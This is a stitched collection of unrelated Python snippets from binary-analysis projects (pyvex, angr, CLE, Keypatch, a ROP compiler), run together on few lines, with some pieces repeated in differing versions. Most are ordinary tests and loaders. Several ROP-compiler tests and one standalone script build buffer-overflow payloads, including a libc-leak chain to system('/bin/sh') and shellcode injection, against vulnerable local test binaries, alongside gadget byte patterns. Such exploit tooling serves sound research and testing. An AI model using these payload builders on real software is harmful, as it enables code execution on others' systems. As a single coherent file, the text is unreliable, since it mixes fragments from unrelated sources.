def test_stub_procedure_args(): # stub procedures should have the right number of arguments lib.set_prototype( "____a_random_stdcall_function__", SimTypeFunction( [ SimTypeInt(signed=True), SimTypeInt(signed=True), SimTypeInt(signed=False) ], SimTypePointer(SimTypeChar(), offset=0), arg_names=["_random_arg_0", "_random_arg_1", "_random_arg_2"])) stub = lib.get_stub('____a_random_stdcall_function__', archinfo.ArchX86()) stub.cc = SimCCStdcall(archinfo.ArchX86()) lib._apply_metadata(stub, archinfo.ArchX86()) assert len(stub.cc.args) == 3 assert all(isinstance(arg, SimStackArg) for arg in stub.cc.args) proj = angr.Project(os.path.join(binaries_base, "i386", "all"), auto_load_libs=False) state = proj.factory.blank_state() initial_sp = state.regs.sp stub.state = state stub.successors = SimSuccessors(0, state) stub.ret(0) succ = stub.successors.all_successors[0] assert state.solver.eval_one(succ.regs.sp - initial_sp) == 0x10
def test_cache_invalidation_on_extend(): b = pyvex.block.IRSB('\x50', 0, archinfo.ArchX86()) nose.tools.assert_equal(b.size, 1) nose.tools.assert_equal(b.instructions, 1) toappend = pyvex.block.IRSB('\x51', 0, archinfo.ArchX86()) toappend.jumpkind = 'Ijk_Invalid' toappend._direct_next = None # Invalidate the cache because I manually changed the jumpkind nose.tools.assert_equal(toappend.direct_next, False) b.extend(toappend) nose.tools.assert_equal(b.size, 2) nose.tools.assert_equal(b.instructions, 2) nose.tools.assert_equal(b.direct_next, False)
def test_cache_invalidation_on_extend(): b = pyvex.block.IRSB(b"\x50", 0, archinfo.ArchX86()) assert b.size == 1 assert b.instructions == 1 toappend = pyvex.block.IRSB(b"\x51", 0, archinfo.ArchX86()) toappend.jumpkind = "Ijk_Invalid" toappend._direct_next = ( None # Invalidate the cache because I manually changed the jumpkind ) assert not toappend.direct_next b.extend(toappend) assert b.size == 2 assert b.instructions == 2 assert not b.direct_next
def constructIR(binaryInst, address, arc="x86", endness="LE"): ar = archinfo.ArchX86() if arc == "x86": ar = archinfo.ArchX86() elif arc == "mips32": if endness == "LE": ar = archinfo.ArchMIPS32(archinfo.Endness.LE) else: ar = archinfo.ArchMIPS32(archinfo.Endness.BE) elif arc == "arm": ar = archinfo.ArchARM(archinfo.Endness.LE) irsb = pyvex.IRSB(data=binaryInst, mem_addr=address, arch=ar) stmts = irsb.statements irsb.pp() return stmts, irsb.jumpkind, irsb.next
def test_x86(self): tests = [ ({ AddConstGadget: 1 }, '\x4a\x89\xd0\xc3'), # dec edx; mov eax, edx; ret ] self.run_test(archinfo.ArchX86(), tests)
def test_leak_overflowx86(self): filename = e('leak_overflow') libc, libc_gadgets = e('libc.so'), e('libc.gadgets') os.environ[ 'LD_PRELOAD'] = libc # Ensure we use the libc that we've pulled gadgets from p = process([filename]) p.writeline("1") p.readuntil("what address would you like to peek at?\n") p.writeline("0x804a010") # leak address of fgets fgets_addr = int(p.readline().split(":")[1].strip(), 16) libc_address = fgets_addr - ELF(libc).symbols['fgets'] goals = [["function", "system", "/bin/sh"]] files = [(filename, None, 0), (libc, libc_gadgets, libc_address)] rop = ropme.rop(files, [libc], goals, arch=archinfo.ArchX86(), log_level=logging.DEBUG) p.writeline("2") p.writeline('A' * 272 + rop) p.writeline("3") self.check_shell(p)
def test_basic(): arch = archinfo.ArchX86() unit = { 'tag': enums.ENUM_DW_TAG['DW_TAG_compile_unit'], enums.ENUM_DW_AT['DW_AT_producer']: 'angr :)', enums.ENUM_DW_AT['DW_AT_name']: 'test.c', enums.ENUM_DW_AT['DW_AT_language']: constants.DW_LANG_C, 'children': [ { 'tag': enums.ENUM_DW_TAG['DW_TAG_subprogram'], enums.ENUM_DW_AT['DW_AT_name']: 'main', }, { 'tag': enums.ENUM_DW_TAG['DW_TAG_subprogram'], enums.ENUM_DW_AT['DW_AT_name']: 'foo', }, ], } result = serialize([unit], arch) dump_elf(result, arch, '/tmp/debug.elf')
def test_x86_jcc(self): tests = [ #call *(%esi);jb 1499f0;ret ({ MemJumpModifyPayload: 1, NOP: 1, JCC: 1 }, '\xff\x16\x72\xfc\xc3'), #ret ;mov $0x0,%eax;test %eax,%eax;je 80484bf <deregister_tm_clones+0xf>; #push %ebp;mov %esp,%ebp;sub $0x18,%esp;movl $0x804a03c,(%esp);call *%eax ({ NOP: 1, RegJumpModifyPayload: 5, JCC: 1 }, '\xc3\xb8\x00\x00\x00\x00\x85\xc0\x74\xf6\x55\x89\xe5\x83\xec\x18\xc7\x04\x24\x3c\xa0\x04\x08\xff\xd0' ), #jb 4; call *(%esi); je 8 ; xor %eax,%eax; ret ({ MemJumpModifyPayload: 1, LoadConst: 1, NOP: 1, JCC: 1 }, '\x72\x02\xff\x16\x74\x02\x31\xc0\xc3'), #jb 4; call *(%esi); ret; je 8 ; xor %eax,%eax; ret ({ MemJumpModifyPayload: 1, LoadConst: 1, NOP: 2, JCC: 1 }, '\x72\x02\xff\x16\xc3\x74\x02\x31\xc0\xc3'), #ja 4; call *(%esi); call *%eax; ret ({ MemJumpModifyPayload: 1, RegJumpModifyPayload: 2, NOP: 1, JCC: 1 }, '\x77\x02\xff\x16\xff\xd0\xc3'), #j 6 <local0>; add $0x4,%esp; ret; add $0x8,%esp; ret ({ AddConstGadget: 2, NOP: 2, JCC: 1 }, '\x72\x04\x83\xc4\x04\xc3\x83\xc4\x08\xc3'), #mov (%esi),%eax;test %eax,%eax;je 0x401720;call *%eax;add $0x4,%esi;cmp %edi,%esi;jb 0x401718;pop %edi;pop %esi;ret ({ RegJumpModifyPayload: 1, LoadMem: 3, LoadMultiple: 1, JCC: 1, NOP: 1 }, '\x8b\x06\x85\xc0\x74\x02\xff\xd0\x83\xc6\x04\x3b\xf7\x72\xf1\x5f\x5e\xc3' ), ] self.run_jcc_test(archinfo.ArchX86(), tests)
def test_max_bytes(self): data = bytes.fromhex("909090909090c3") arch = archinfo.ArchX86() assert lift(data, 0x1000, arch, max_bytes=None).size == len(data) assert lift(data, 0x1000, arch, max_bytes=len(data) - 1).size == len(data) - 1 assert lift(data, 0x1000, arch, max_bytes=len(data) + 1).size == len(data) data2 = ffi.from_buffer(data) self.assertRaises(PyVEXError, lift, data2, 0x1000, arch) assert lift(data2, 0x1000, arch, max_bytes=len(data)).size == len(data) assert lift(data2, 0x1000, arch, max_bytes=len(data) - 1).size == len(data) - 1
def assert_not_contain_this_type(self, code, not_expect_type): address = 0x40000 gadget_classifier = classifier.GadgetClassifier( archinfo.ArchX86(), code, address, log_level=logging.DEBUG) gadgets = gadget_classifier.create_gadgets_from_instructions(address) types = [] for g in gadgets: if g.address != address: #The gadget should be starting at the *address* continue types.append(type(g)) self.assertFalse(not_expect_type in types)
def get_hardware_mode(): (arch, mode) = (None, None) info = idaapi.get_inf_structure() # heuristically detect hardware setup info = idaapi.get_inf_structure() try: cpuname = info.procname.lower() except: cpuname = info.procName.lower() try: # since IDA7 beta 3 (170724) renamed inf.mf -> is_be()/set_be() is_be = idaapi.cvar.inf.is_be() except: # older IDA versions is_be = idaapi.cvar.inf.mf # print("Keypatch BIG_ENDIAN = %s" %is_be) if cpuname == "metapc": if info.is_64bit(): arch = archinfo.ArchAMD64() mode = KS_MODE_64 elif info.is_32bit(): arch = archinfo.ArchX86() mode = KS_MODE_32 else: arch = archinfo.ArchNotFound() mode = KS_MODE_16 elif cpuname.startswith("ppc"): if info.is_64bit(): arch = archinfo.ArchPPC64() mode = KS_MODE_PPC64 else: arch = archinfo.ArchPPC32() mode = KS_MODE_PPC32 if cpuname == "ppc": # do not support Little Endian mode for PPC mode += KS_MODE_BIG_ENDIAN elif cpuname.startswith("mips"): if info.is_64bit(): arch = archinfo.ArchMIPS64() mode = KS_MODE_MIPS64 else: arch = archinfo.ArchMIPS32() mode = KS_MODE_MIPS32 elif cpuname.startswith("systemz") or cpuname.startswith("s390x"): arch = archinfo.ArchS390X() mode = KS_MODE_BIG_ENDIAN return (arch, mode)
def run_bin(self, bin_code): add_options = self.add_options engine = self.engine irsb = pyvex.IRSB(bin_code, 0x100000, archinfo.ArchX86(), len(bin_code)) if verbose: irsb.pp() state = SimState(arch='X86', add_options=add_options, ) engine.process(state, irsb, inline=True) return state
class _Architectures(collections.abc.Mapping): aliases = {'x64': 'amd64', 'x86-64': 'amd64'} __values = collections.OrderedDict( (('amd64', archinfo.ArchAMD64()), ('x86', archinfo.ArchX86()))) def __getitem__(self, item): item = item.lower() item = self.aliases.get(item, item) return self.__values[item] def __iter__(self): return iter(self.__values) def __len__(self): return len(self.__values)
def main(argv): # Command-line getopt boilerplate code from Python 2 documentation # https://docs.python.org/2/library/getopt.html try: opts, args = getopt.getopt(argv, 'hb:w:i', ['help']) except getopt.GetoptError as err: helpText() sys.exit(2) binName = '' writeName = '' lift = False for o, a in opts: if o in ('-h', '--help'): helpText() sys.exit() elif o == '-b': binName = a elif o == '-w': writeName = a elif o == '-i': lift = True else: assert False, 'Usage error! Unrecognized option!' # dump binary file data if binName != '': with open(binName, mode='rb') as binFile: binData = binascii.hexlify(binFile.read()) else: print 'Usage error! Please provide a y86 binary file.\n' helpText() sys.exit(2) # translate x86ops = translate(binData) # lift and print to VEX-IR if lift: ir = pyvex.IRSB(x86ops, 0, archinfo.ArchX86()) ir.pp() else: print x86ops # write to file if writeName != '': with open(writeName, 'wb') as wb: wb.write(binascii.unhexlify(x86ops))
def test_setup_callsite(): p = angr.load_shellcode(b'b', arch=archinfo.ArchX86()) s = p.factory.call_state(0, "hello", stack_base=0x1234, alloc_base=0x5678, grow_like_stack=False) assert (s.regs.sp == 0x1234).is_true() assert (s.mem[0x1234 + 4].long.resolved == 0x5678).is_true() assert (s.memory.load(0x5678, 5) == b'hello').is_true() s = p.factory.call_state(0, "hello", stack_base=0x1234) assert (s.regs.sp == 0x1234).is_true() assert (s.mem[0x1234 + 4].long.resolved == 0x1234 + 8).is_true() assert (s.memory.load(0x1234 + 8, 5) == b'hello').is_true()
def test_bof_read_got_x86(self): filename = e('bof_read_got_x86') p = process([filename, '3000']) files = [(filename, None, 0)] rop = ropme.rop( files, ["/lib/i386-linux-gnu/libc.so.6"], [["shellcode_hex", binascii.hexlify(self.shellcode_x86())]], arch=archinfo.ArchX86(), log_level=logging.DEBUG) payload = 'A' * 512 + ('B' * 16) + rop p.writeline(payload) p.readline() self.check_shell(p)
def test_embedded(): b = pyvex.block.IRSB('\x50' * 3 + '\x0f\x0b' + '\x50' * 6, 1, archinfo.ArchX86()) for i, stmt in enumerate(b.statements): if type(stmt) is pyvex.stmt.IMark and stmt.addr == 0x4 and stmt.len == 2 and stmt.delta == 0: imaginary_trans_stmt = b.statements[i+1] nose.tools.assert_is(type(imaginary_trans_stmt), pyvex.stmt.WrTmp) addexpr = imaginary_trans_stmt.data nose.tools.assert_is(type(addexpr), pyvex.expr.Binop) nose.tools.assert_equal(addexpr.op, 'Iop_Add27') arg1, arg2 = addexpr.args nose.tools.assert_is(type(arg1), pyvex.expr.Const) nose.tools.assert_equal(arg1.con.value, 10) nose.tools.assert_is(type(arg2), pyvex.expr.Const) nose.tools.assert_equal(arg2.con.value, 20) return nose.tools.assert_false(True, msg='Could not find matching IMark')
def check_jcc(self, asm_code, jcc=None): # TODO: this does not work now! """ :param state: :param jcc: :return: """ self.state = self.run_asm(asm_code) state = self.state add_options = self.add_options engine = self.engine feasible = [] infeasible = [] if jcc: pending = {jcc} else: pending = jcc_s for jcc in pending: asm_code = 'target:; {} target; '.format(jcc) jmp_code = pwn.asm(asm_code) code_size = len(jmp_code) addr = state.regs.eip.args[0] irsb = pyvex.IRSB(jmp_code, addr, archinfo.ArchX86(), code_size) # irsb.pp() # we simulate the ins and get the successor state simsucc = engine.process(state, irsb, inline=False) succ = simsucc.successors[0] # judge the jcc by the successor state eip = succ.regs.eip.args[0] if eip == addr: feasible.append(jcc) elif eip == addr + code_size: infeasible.append(jcc) else: print("impossible eip") raise Exception("impossible eip!") print(("feasible:\n{}".format('\t'.join(feasible)))) print(("infeasible:\n{}".format('\t'.join(infeasible))))
def __init__(self, arch): if arch == 'x86': self.arch = archinfo.ArchX86() self.addr = 0x8048000 self.name_size_pair = name_size_pair32 elif arch == 'x64': self.arch = archinfo.ArchAMD64() self.addr = 0x401000 self.name_size_pair = name_size_pair64 self.statements = [] self.lbl = 0 self.ftop = False self.cc_op = None self.cc_dep1 = None self.cc_dep2 = None self.cc_ndep = None
def test_max_bytes(): data = bytes.fromhex('909090909090c3') arch = archinfo.ArchX86() nose.tools.assert_equal( lift(data, 0x1000, arch, max_bytes=None).size, len(data)) nose.tools.assert_equal( lift(data, 0x1000, arch, max_bytes=len(data) - 1).size, len(data) - 1) nose.tools.assert_equal( lift(data, 0x1000, arch, max_bytes=len(data) + 1).size, len(data)) data2 = ffi.from_buffer(data) nose.tools.assert_raises(PyVEXError, lift, data2, 0x1000, arch) nose.tools.assert_equal( lift(data2, 0x1000, arch, max_bytes=len(data)).size, len(data)) nose.tools.assert_equal( lift(data2, 0x1000, arch, max_bytes=len(data) - 1).size, len(data) - 1)
def test_embedded(): b = pyvex.block.IRSB(b"\x50" * 3 + b"\x0f\x0b" + b"\x50" * 6, 1, archinfo.ArchX86()) for i, stmt in enumerate(b.statements): if (type(stmt) is pyvex.stmt.IMark and stmt.addr == 0x4 and stmt.len == 2 and stmt.delta == 0): imaginary_trans_stmt = b.statements[i + 1] assert type(imaginary_trans_stmt) is pyvex.stmt.WrTmp addexpr = imaginary_trans_stmt.data assert type(addexpr) is pyvex.expr.Binop assert addexpr.op == "Iop_Add27" arg1, arg2 = addexpr.args assert type(arg1) is pyvex.expr.Const assert arg1.con.value == 10 assert type(arg2) is pyvex.expr.Const assert arg2.con.value == 20 return assert False, "Could not find matching IMark"
def __init__(self, *args, **kwargs): super(Minidump, self).__init__(*args, **kwargs) self.os = 'windows' self.supports_nx = True if self.binary is None: self._mdf = minidumpfile.MinidumpFile.parse_bytes(self.binary_stream.read()) else: self._mdf = minidumpfile.MinidumpFile.parse(self.binary) if self.arch is None: if getattr(self._mdf, 'sysinfo', None) is None: raise MinidumpMissingStreamError('SystemInfo', 'The architecture was not specified') arch = self._mdf.sysinfo.ProcessorArchitecture if arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.AMD64: self.set_arch(archinfo.ArchAMD64()) elif arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.INTEL: self.set_arch(archinfo.ArchX86()) else: # has not been tested with other architectures raise CLEError('Loading minidumps is not implemented for this architecture') if self._mdf.memory_segments_64 is not None: segments = self._mdf.memory_segments_64.memory_segments elif self._mdf.memory_segments is not None: segments = self._mdf.memory_segments.memory_segments else: raise MinidumpMissingStreamError('MemoryList', 'The memory segments were not defined') for segment in segments: clemory = Clemory(self.arch) data = segment.read(segment.start_virtual_address, segment.size, self._mdf.file_handle) clemory.add_backer(0, data) self.memory.add_backer(segment.start_virtual_address, clemory) for module in self.modules: for segment in segments: if segment.start_virtual_address == module.baseaddress: break else: raise CLEInvalidBinaryError('Missing segment for loaded module: ' + module.name) section = Section(module.name, segment.start_file_address, module.baseaddress, module.size) self.sections.append(section) self.sections_map[ntpath.basename(section.name)] = section self.segments = self.sections
def convert_x86_to_vex(bb): instructions = "" for ins in bb.instr: instructions += ins #irsb = pyvex.IRSB(instructions, bb.start_address, archinfo.ArchX86()) replaced = re.sub(r'\\x', '', instructions) instructions = replaced.decode("hex") irsb = pyvex.IRSB(instructions, 0x4000000, archinfo.ArchX86()) #irsb = pyvex.IRSB("\x80\x78\x07\x00\x75\xb3", 0x4000000, archinfo.ArchX86()) bb.vex = irsb #testing print irsb.pp() #endtest return
def __init__(self): super(ArchitectureX86, self).__init__( CS_ARCH_X86, CS_MODE_32, 4, 1) self._name = 'x86' self._maxInvalid = 6 if 'keystone' in globals(): self._ksarch = (keystone.KS_ARCH_X86, keystone.KS_MODE_32) if 'archinfo' in globals(): self._info = archinfo.ArchX86() self._searcher = Searcherx86() self._pprs = [b'[\x58-\x5f]{2}\xc3', # pop reg; pop reg; ret b'\x83\xc4\x04[\x58-\x5f]\xc3', # add esp, 4; pop reg; ret b'[\x58-\x5f]\x83\xc4\x04\xc3', # pop reg; add esp, 4; ret b'\x83\xc4\x08\xc3', # add esp, 8; ret; b'\xff\x54\x24[\x08\x14\x1c\x2c\x44\x50]', # call [esp+n] b'\xff\x64\x24[\x08\x14\x1c\x2c\x44\x50]', # jmp [esp+n] b'\xff\x65[\x0c\x24\x30\xfc\xf4\xe8]', # jmp [ebp+n] b'\xff\x55[\x0c\x24\x30\xfc\xf4\xe8]' # call [ebp+n] ]
def excption_0(): import claripy ins_code = "mov eax,-1 ; test eax,eax" address = 0x76fcbcfe encoding = pwn.asm(ins_code) count = len(encoding) print((str(encoding))) print(count) add_options = {angr.options.NO_SYMBOLIC_SYSCALL_RESOLUTION, angr.options.LAZY_SOLVES, angr.options.INITIALIZE_ZERO_REGISTERS, angr.options.SIMPLIFY_REGISTER_WRITES, angr.options.SIMPLIFY_MEMORY_WRITES, # angr.options.CONCRETIZE, # angr.options.FAST_MEMORY } bc_arr = "" bc_arr = encoding irsb = pyvex.IRSB(bc_arr, 0x76fcbcfe, archinfo.ArchX86(), len(bc_arr)) state = SimState(arch='X86', add_options=add_options) state.regs.eax = 0x5a4d state.regs.esi = 0x753e0001 state.regs.esp = 0x12f8c0 state.regs.eip = 0x76fcbcfe taint_len = 0x8000 # taint_len = 0xd4000 state.memory.store(0x753e0000, claripy.BVS( "TAINT_MapView", taint_len * 8), endness="Iend_LE") engine = angr.SimEngineVEX() irsb.pp() engine.process(state, irsb, inline=True)
def bof_many_args(self, is_64bit): if is_64bit: filename, arch = e('bof_many_args'), archinfo.ArchAMD64() else: filename, arch = e('bof_many_args_x86'), archinfo.ArchX86() files = [(filename, None, 0)] rop = ropme.rop( files, [], [["function", "callme", 11, 12, 13, 14, 15, 16, 17, 18]], arch=arch, log_level=logging.DEBUG) if is_64bit: payload = 'A' * 512 + 'B' * 8 + rop else: payload = 'A' * 524 + 'B' * 4 + rop p = process([filename, '3000']) p.writeline(payload) self.assertEqual('Called with (11,12,13,14,15,16,17,18)', p.readline().strip()) p.close()
def test_x86_jcc_design(self): tests = [ #jz $+3; ret; ret ({ NOP: 2, AddGadget: 1 }, '\x74\x01\xc3\xc3'), #jz $+4; jmp eax; ret ({ NOP: 1, RegJumpNormal: 1, JCC: 1 }, '\x74\x02\xff\xe0\xc3'), #jz $+2; jmp eax; jmp ebx ({ RegJumpNormal: 2, JCC: 1 }, '\x74\x02\xff\xe0\xff\xe3'), #jz $+4; jmp eax; jz $+10; ret ({ NOP: 1, RegJumpNormal: 1, JCC: 1 }, '\x74\x02\xff\xe0\x74\x10\xc3'), #jz $+5; jz $+10; ret; jmp eax ({ NOP: 1, RegJumpNormal: 1, JCC: 1 }, '\x74\x03\x74\x10\xc3\xff\xe0'), #jz $+5; jz $+10; ret; jz $+20; jmp eax; ret ({ NOP: 2, RegJumpNormal: 1, JCC: 1 }, '\x74\x03\x74\x10\xc3\x74\x20\xff\xe0\xc3'), ] self.run_jcc_test(archinfo.ArchX86(), tests)
class BinjaBin(Backend): """ Get information from binaries using Binary Ninja. Basing this on idabin.py, but will try to be more complete. TODO: add more features as Binary Ninja's feature set improves """ is_default = True # Tell CLE to automatically consider using the BinjaBin backend BINJA_ARCH_MAP = { "aarch64": archinfo.ArchAArch64(endness='Iend_LE'), "armv7": archinfo.ArchARMEL(endness='Iend_LE'), "thumb2": archinfo.ArchARMEL(endness='Iend_LE'), "armv7eb": archinfo.ArchARMEL(endness='Iend_BE'), "thumb2eb": archinfo.ArchARMEL(endness='Iend_BE'), "mipsel32": archinfo.ArchMIPS32(endness='Iend_LE'), "mips32": archinfo.ArchMIPS32(endness='Iend_BE'), "ppc": archinfo.ArchPPC32(endness="Iend_BE"), "ppc_le": archinfo.ArchPPC32(endness="Iend_LE"), "x86": archinfo.ArchX86(), "x86_64": archinfo.ArchAMD64() } def __init__(self, binary, *args, **kwargs): super().__init__(binary, *args, **kwargs) if not bn: raise CLEError(BINJA_NOT_INSTALLED_STR) # get_view_of_file can take a bndb or binary - wait for autoanalysis to complete self.bv = bn.BinaryViewType.get_view_of_file(binary, False) l.info("Analyzing %s, this may take some time...", binary) self.bv.update_analysis_and_wait() l.info("Analysis complete") # Note may want to add option to kick off linear sweep try: self.set_arch(self.BINJA_ARCH_MAP[self.bv.arch.name]) except KeyError: l.error("Architecture %s is not supported.", self.bv.arch.name) for seg in self.bv.segments: l.info("Adding memory for segment at %x.", seg.start) br = bn.BinaryReader(self.bv) br.seek(seg.start) data = br.read(len(seg)) self.memory.add_backer(seg.start, data) self._find_got() self._symbol_cache = {} self._init_symbol_cache() # Note: this represents the plt stub. ImportAddressSymbol refers to .got entries # Since we're not trying to import and load dependencies directly, but want to run SimProcedures, # We should use the binaryninja.SymbolType.ImportedFunctionSymbol # Also this should be generalized to get data imports, too self.raw_imports = { i.name: i.address for i in self.bv.get_symbols_of_type( bn.SymbolType.ImportedFunctionSymbol) } self._process_imports() self.exports = {} self.linking = "static" if len(self.raw_imports) == 0 else "dynamic" # We'll look for this attribute to see if we need to do SimProcedures for any imports in this binary # This is an ugly hack, but will have to use this for now until Binary Ninja exposes dependencies self.guess_simprocs = True self.guess_simprocs_hint = "nix" if self.bv.get_section_by_name( ".plt") else "win" l.warning("This backend is based on idabin.py.\n\ You may encounter unexpected behavior if:\n\ \tyour target depends on library data symbol imports, or\n\ \tlibrary imports that don't have a guess-able SimProcedure\n\ Good luck!") def _process_imports(self): ''' Process self.raw_imports into list of Relocation objects ''' if not self.raw_imports: l.warning( "No imports found - if this is a dynamically-linked binary, something probably went wrong." ) for name, addr in self.raw_imports.items(): BinjaReloc(self, self._symbol_cache[name], addr) def _init_symbol_cache(self): # Note that we could also access name, short_name, or full_name attributes for sym in self.bv.get_symbols(): cle_sym = BinjaSymbol(self, sym) self._symbol_cache[sym.raw_name] = cle_sym self.symbols.add(cle_sym) def _find_got(self): """ Locate the section (e.g. .got) that should be updated when relocating functions (that's where we want to write absolute addresses). """ sec_name = self.arch.got_section_name self.got_begin = None self.got_end = None try: got_sec = self.bv.sections[self.arch.got_section_name] self.got_begin = got_sec.start self.got_end = got_sec.end except KeyError: l.warning("No got section mapping found!") # If we reach this point, we should have the addresses if self.got_begin is None or self.got_end is None: l.warning("No section %s, is this a static binary ? (or stripped)", sec_name) return False return True @staticmethod def is_compatible(stream): if not bn: return False magic = stream.read(100) stream.seek(0) # bndb files are SQlite 3 if magic.startswith(b"SQLite format 3") and stream.name.endswith( "bndb"): return True return False def in_which_segment(self, addr): """ Return the segment name at address `addr`. """ # WARNING: if there are overlapping sections, we choose the first name. # The only scenario I've seen here is a NOBITS section that "overlaps" with another one, but # I'm not sure if that's a heurstic that should be applied here. # https://stackoverflow.com/questions/25501044/gcc-ld-overlapping-sections-tbss-init-array-in-statically-linked-elf-bin#25771838 seg = self.bv.get_sections_at(addr)[0].name return "unknown" if len(seg) == 0 else seg def get_symbol_addr(self, sym): """ Get the address of the symbol `sym` from IDA. :returns: An address. """ # sym is assumed to be the raw_name of the symbol return self.bv.get_symbol_by_raw_name(sym) def function_name(self, addr): """ Return the function name at address `addr`. """ func = self.bv.get_function_at(addr) if not func: return "UNKNOWN" return func.name @property def min_addr(self): """ Get the min address of the binary. (note: this is probably not "right") """ return self.bv.start @property def max_addr(self): """ Get the max address of the binary. """ return self.bv.end @property def entry(self): if self._custom_entry_point is not None: return self._custom_entry_point + self.mapped_base return self.bv.entry_point + self.mapped_base def get_strings(self): """ Extract strings from binary (Binary Ninja). :returns: An array of strings. """ return self.bv.get_strings() def set_got_entry(self, name, newaddr): """ Resolve import `name` with address `newaddr`. That is, update the GOT entry for `name` with `newaddr`. """ if name not in self.imports: l.warning("%s not in imports", name) return addr = self.imports[name] self.memory.pack_word(addr, newaddr) def close(self): """ Release the BinaryView we created in __init__ :return: None """ self.bv.file.close()
import sys, logging from pwn import * import archinfo from rop_compiler import ropme, goal is_64bit = not (len(sys.argv) > 1 and sys.argv[1].lower() == "x86") if is_64bit: filename, arch = './bof_many_args', archinfo.ArchAMD64() else: filename, arch = './bof_many_args_x86', archinfo.ArchX86() files = [(filename, None, 0)] rop = ropme.rop(files, [], [["function", "callme", 11,12,13,14,15,16,17,18]], arch = arch, log_level = logging.DEBUG) if is_64bit: payload = 'A'*512 + 'B'*8 + rop else: payload = 'A'*524 + 'B'*4 + rop with open("/tmp/rop", "w") as f: f.write(rop) with open("/tmp/payload", "w") as f: f.write(payload) p = process([filename,'3000']) if "debug" in sys.argv: if is_64bit: gdb.attach(p, "set disassembly-flavor intel\nbreak *0x400731\nbreak callme\n") # 64-bit else: gdb.attach(p, "set disassembly-flavor intel\nbreak *0x080485ec\nbreak callme\n") # 32-bit
def test_x86(self): tests = [ ({ RegStackSwitch: 1 }, '\x94\xc3'), #xchg eax, esp ; ret ({ NOP: 1 }, '\xc3'), #ret ({ RegJumpModifyPayload: 1 }, '\xff\xd0'), #call *%eax ({ RegJumpNormal: 1 }, '\xff\xe0'), #jmp *%eax ({ MemJumpModifyPayload: 1 }, '\xff\x16'), #call *(%esi) ({ MemJumpModifyPayload: 1 }, '\xff\x52\x04'), #call *0x4(%edx) ({ RegStackSwitch: 1 }, '\xc9\xc3'), #leave; ret ({ RegStackSwitch: 1 }, '\x94\xc3'), #xchg eax, esp ; ret ({}, '\x89\xcc\xff\xe2'), #mov %ecx,%esp; jmp *%edx ({}, '\x94\xfe'), #xchg eax, esp; bad # dec edx; mov eax, edx; ret ({ AddConstGadget: 1 }, '\x4a\x89\xd0\xc3'), #add eax, 0x24; ret ({ AddConstGadget: 1 }, '\x83\xc0\x24\xc3'), #add esp, 0x24; ret ({ AddConstGadget: 1 }, '\x83\xc4\x24\xc3'), #add esp, 8 ; pop ebx ; ret ({ LoadMem: 1 }, '\x83\xc4\x08\x5b\xc3'), #add esp, 4 ; ret ({ AddConstGadget: 1 }, '\x83\xc4\x04\xc3'), #push %ebp;mov %esp,%ebp;sub $0x18,%esp;movl $0x804a03c,(%esp);call *%eax ({ RegJumpModifyPayload: 1 }, '\x55\x89\xe5\x83\xec\x18\xc7\x04\x24\x3c\xa0\x04\x08\xff\xd0'), #longjmp: mov %esp, %ecx; jmp *%edx ({ RegJumpNormal: 1 }, '\x89\xe1\xff\xe2'), #sub %eax, %ecx ; ret ({ SubGadget: 1 }, '\x29\xc1\xc3'), #sub %eax, %edx ; ret ({ SubGadget: 1 }, '\x29\xc2\xc3'), #add %eax, %ecx ; ret ({ AddGadget: 1 }, '\x01\xc1\xc3'), #add %eax, %edx ; ret ({ AddGadget: 1 }, '\x01\xc2\xc3'), #pushl 0x804a004; jmp *0x804a008 ({}, '\xff\x35\x04\xa0\x04\x08\xff\x25\x08\xa0\x04\x08'), #add %esi, (%ecx); ret ({ StoreAndGadget: 1 }, '\x21\x31\xc3'), #add (%eax), %ecx; ret ({ LoadAddGadget: 1 }, '\x03\x08\xc3'), ] self.run_test(archinfo.ArchX86(), tests)